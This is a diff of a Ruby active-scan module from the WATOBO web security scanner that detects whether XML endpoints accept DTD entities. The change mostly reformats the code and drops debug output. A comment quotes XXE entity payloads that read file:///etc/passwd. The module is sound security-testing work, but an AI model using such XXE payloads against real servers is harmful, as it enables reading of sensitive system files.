- # WATOBO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
8
- # You should have received a copy of the GNU General Public License along with WATOBO; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
9
-
10
1
  # @private
11
- module Watobo#:nodoc: all
12
- module Modules
13
- module Active
14
- module Xml
15
- class Xml_xxe < Watobo::ActiveCheck
16
- # This module checks if DTD is accepted
17
- # The idea is to use regular parameters and convert them to entity
2
+ module Watobo #:nodoc: all
3
+ module Modules
4
+ module Active
5
+ module Xml
6
+ class Xml_xxe < Watobo::ActiveCheck
7
+ # This module checks if DTD is accepted
8
+ # The idea is to use regular parameters and convert them to entity
18
9
  # if the result is the same, chances are good that XXE attacks will work
19
10
  #
20
11
  # Links:
21
12
  # http://www.w3.org/TR/2004/REC-xml-20040204/#sec-external-ent
22
-
13
+
23
14
  # Exploitation notes:
24
15
  # https://www.christian-schneider.net/GenericXxeDetection.html
25
16
  # <!ENTITY % three SYSTEM "file:///etc/passwd">
26
- # <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
27
-
28
- @info.update(
29
- :check_name => 'XML-XXE', # name of check which briefly describes functionality, will be used for tree and progress views
30
- :check_group => "XML",
31
- :description => "XML eXternal Entity (XXE).", # description of checkfunction
32
- :author => "Andreas Schmidt", # author of check
33
- :version => "0.9" # check version
34
- )
35
-
36
- threat = "https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)"
37
-
38
- measure = "Disable external entities."
39
-
40
- @finding.update(
41
- :threat => threat, # thread of vulnerability, e.g. loss of information
42
- :class => "External Entities", # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
43
- :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
44
- :rating => VULN_RATING_CRITICAL,
45
- :measure => measure
46
- )
47
-
48
- def initialize(project, prefs={})
49
- super(project, prefs)
50
-
51
- end
52
-
53
- def generateChecks(chat)
54
- begin
55
- if ( chat.request.content_type =~ /xml/ ) and chat.request.has_body?
56
- puts "XXE-TEST"
57
- # first we do a request with an
58
- base = chat.copyRequest
59
- base_request, base_response = doRequest(base)
17
+ # <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
18
+
19
+ @info.update(
20
+ :check_name => 'XML-XXE', # name of check which briefly describes functionality, will be used for tree and progress views
21
+ :check_group => "XML",
22
+ :description => "XML eXternal Entity (XXE).", # description of checkfunction
23
+ :author => "Andreas Schmidt", # author of check
24
+ :version => "0.9" # check version
25
+ )
26
+
27
+ threat = "https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)"
28
+
29
+ measure = "Disable external entities."
30
+
31
+ @finding.update(
32
+ :threat => threat, # thread of vulnerability, e.g. loss of information
33
+ :class => "External Entities", # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
34
+ :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
35
+ :rating => VULN_RATING_CRITICAL,
36
+ :measure => measure
37
+ )
38
+
39
+ def initialize(project, prefs={})
40
+ super(project, prefs)
41
+
42
+ end
43
+
44
+ def generateChecks(chat)
45
+ begin
46
+ if (chat.request.content_type =~ /xml/) and chat.request.has_body?
47
+ # first we do a request with an
48
+ base = chat.copyRequest
49
+ base_request, base_response = doRequest(base)
60
50
  return unless base_response.has_body?
61
- puts " *create entity packets ..."
62
51
  create_entity_packets(chat.request.body).each do |packet|
63
- puts packet
64
- checker = proc {
65
- begin
66
- test_request = nil
67
- test_response = nil
68
- test = chat.copyRequest
69
- test.setData packet.to_s
70
- test_request, test_response = doRequest(test)
71
- #puts test_response.status
72
-
73
- if test_response.has_body? and test_response.body == base_response.body
74
-
75
- addFinding(test_request,test_response,
76
- :test_item => "ENTITY",
77
- :check_pattern => "ENTITY",
78
- :chat => chat,
79
- :title => "[#{chat.request.path}] - ENTITY",
80
- :debug => true
81
- )
82
- end
83
- rescue => bang
84
- puts bang
85
- puts bang.backtrace if $DEBUG
86
- end
87
- [ test_request, test_response ]
88
- }
89
- yield checker
90
-
91
- end
92
- end
93
- rescue => bang
94
- puts bang
95
- end
96
- end
97
-
98
- private
99
-
100
- def create_entity_packets(xml_string)
101
- xml_packets = []
102
-
103
- xmlbase = Nokogiri::XML(xml_string)
104
- xmlbase.traverse do |node|
105
- if node.text?
106
- #next if node.parent.namespace.nil?
107
- unless node.text.strip.empty?
108
- xml = Nokogiri::XML(xml_string)
109
- xml.create_internal_subset("#{node.parent.name}", nil, nil)
110
- node_name = ""
111
- node_name << "#{node.parent.namespace.prefix}:" if node.parent.namespace.respond_to? :prefix
112
- node_name << "#{node.parent.name}"
113
- add_entity(xml, "#{node_name}", "#{node.parent.name}", "#{node.text}")
114
- xml_packets << xml
115
-
116
- end
117
- end
118
- end
119
- xml_packets
120
- end
121
-
122
- def add_entity(xml, node_name, entity_name, value)
123
- xml.create_entity(entity_name, Nokogiri::XML::EntityDecl::INTERNAL_GENERAL, nil, nil, value)
124
- entity = Nokogiri::XML::EntityReference.new xml, entity_name
125
- nodeset = xml.xpath("//#{node_name}")
126
- nodeset.first.send(:native_content=, entity.to_s ) unless nodeset.empty?
127
- end
128
-
129
- end
130
- # --> eo namespace
131
- end
132
- end
133
- end
52
+ checker = proc {
53
+ begin
54
+ test_request = nil
55
+ test_response = nil
56
+ test = chat.copyRequest
57
+ test.setData packet.to_s
58
+ test_request, test_response = doRequest(test)
59
+ #puts test_response.status
60
+
61
+ if test_response.has_body? and test_response.body == base_response.body
62
+
63
+ addFinding(test_request, test_response,
64
+ :test_item => "ENTITY",
65
+ :check_pattern => "ENTITY",
66
+ :chat => chat,
67
+ :title => "[#{chat.request.path}] - ENTITY",
68
+ :debug => true
69
+ )
70
+ end
71
+ rescue => bang
72
+ puts bang
73
+ puts bang.backtrace if $DEBUG
74
+ end
75
+ [test_request, test_response]
76
+ }
77
+ yield checker
78
+
79
+ end
80
+ end
81
+ rescue => bang
82
+ puts bang
83
+ puts bang.backtrace if $DEBUG
84
+ end
85
+ end
86
+
87
+ private
88
+
89
+ def create_entity_packets(xml_string)
90
+ xml_packets = []
91
+
92
+ xmlbase = Nokogiri::XML(xml_string)
93
+ xmlbase.traverse do |node|
94
+ if node.text?
95
+ #next if node.parent.namespace.nil?
96
+ unless node.text.strip.empty?
97
+ xml = Nokogiri::XML(xml_string)
98
+ xml.create_internal_subset("#{node.parent.name}", nil, nil)
99
+ node_name = ""
100
+ node_name << "#{node.parent.namespace.prefix}:" if node.parent.namespace.respond_to? :prefix
101
+ node_name << "#{node.parent.name}"
102
+ add_entity(xml, "#{node_name}", "#{node.parent.name}", "#{node.text}")
103
+ xml_packets << xml
104
+
105
+ end
106
+ end
107
+ end
108
+ xml_packets
109
+ end
110
+
111
+ def add_entity(xml, node_name, entity_name, value)
112
+ xml.create_entity(entity_name, Nokogiri::XML::EntityDecl::INTERNAL_GENERAL, nil, nil, value)
113
+ entity = Nokogiri::XML::EntityReference.new xml, entity_name
114
+ nodeset = xml.xpath("//#{node_name}")
115
+ nodeset.first.send(:native_content=, entity.to_s) unless nodeset.empty?
116
+ end
117
+
118
+ end
119
+ # --> eo namespace
120
+ end
121
+ end
122
+ end
134
123
  end